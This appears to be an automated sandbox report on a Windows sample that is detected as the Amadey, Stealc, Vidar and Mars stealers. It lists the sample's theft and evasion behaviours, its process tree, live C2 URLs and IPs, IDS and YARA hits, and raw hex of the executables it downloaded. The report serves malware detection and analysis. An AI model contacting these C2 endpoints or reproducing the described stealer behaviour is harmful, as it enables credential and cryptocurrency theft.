Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1467822
MD5:	9c923d102f7688ef4e407b893fe8d448
SHA1:	6c994bad35a92e0b9154684ebb8e73d9684b2e61
SHA256:	9f5b516487cc6c3218efb06cb2ebcc72ce724dc64aa84d217464af873c048b7a
Tags:	exe
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6636 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 9C923D102F7688EF4E407B893FE8D448)

cmd.exe (PID: 6808 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

KECBKKEBKE.exe (PID: 4048 cmdline: "C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe" MD5: 29AF55C68D51C9EF3C35850BEC56664D)

explorti.exe (PID: 7360 cmdline: "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: 29AF55C68D51C9EF3C35850BEC56664D)

a16b294260.exe (PID: 7788 cmdline: "C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe" MD5: 9C923D102F7688EF4E407B893FE8D448)

29c55c1284.exe (PID: 7840 cmdline: "C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe" MD5: 619F9806AB2FAD61F931922DD30EDE7F)

chrome.exe (PID: 7876 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8060 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=2032,i,3988199415877584059,13618322696169036975,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7572 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5560 --field-trial-handle=2032,i,3988199415877584059,13618322696169036975,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7580 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5568 --field-trial-handle=2032,i,3988199415877584059,13618322696169036975,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 3720 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FCGIJDBAFC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorti.exe (PID: 7476 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 29AF55C68D51C9EF3C35850BEC56664D)

explorti.exe (PID: 7796 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 29AF55C68D51C9EF3C35850BEC56664D)

explorti.exe (PID: 7048 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 29AF55C68D51C9EF3C35850BEC56664D)

explorti.exe (PID: 6200 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 29AF55C68D51C9EF3C35850BEC56664D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://85.28.47.30/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.30/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://77.91.77.82/Hun4Ko/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.4105906252.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.1848584876.0000000004F80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1840591206.000000000170E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000003.2314930724.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.1898459862.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.1966115921.0000000000D21000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.1966115921.0000000000D21000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000014.00000003.2919540853.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1836482618.0000000000421000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1836482618.0000000000421000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000C.00000002.1965705738.0000000000634000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000003.3519302936.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.1938648063.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.2959745900.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.3559616622.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.1890726036.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000002.2355364532.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.1890786715.0000000000BD1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6636	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6636	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6636	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: a16b294260.exe PID: 7788	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author
20.2.explorti.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.explorti.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.explorti.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
18.2.explorti.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.a16b294260.exe.d20000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.a16b294260.exe.d20000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
8.2.explorti.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.KECBKKEBKE.exe.bd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.420000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.420000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 5 entries

Snort Signatures

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.30

Timestamp:	07/04/24-20:33:55.418592
SID:	2044244
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 85.28.47.30

Timestamp:	07/04/24-20:33:54.677386
SID:	2044243
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.30 - Destination IP: 192.168.2.4

Timestamp:	07/04/24-20:33:55.603210
SID:	2051828
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.30

Timestamp:	07/04/24-20:33:55.604937
SID:	2044246
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.30 - Destination IP: 192.168.2.4

Timestamp:	07/04/24-20:33:55.804128
SID:	2051831
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

Code function: 0_2_6C4D6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C4D6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49808 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1867220167.000000006C6FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1867220167.000000006C6FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.4:49730 -> 85.28.47.30:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.4:49730 -> 85.28.47.30:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.30:80 -> 192.168.2.4:49730
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.4:49730 -> 85.28.47.30:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.30:80 -> 192.168.2.4:49730

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://85.28.47.30/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.30/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 77.91.77.82

Source: global traffic

TCP traffic: 192.168.2.4:58834 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 18:33:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 18:34:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
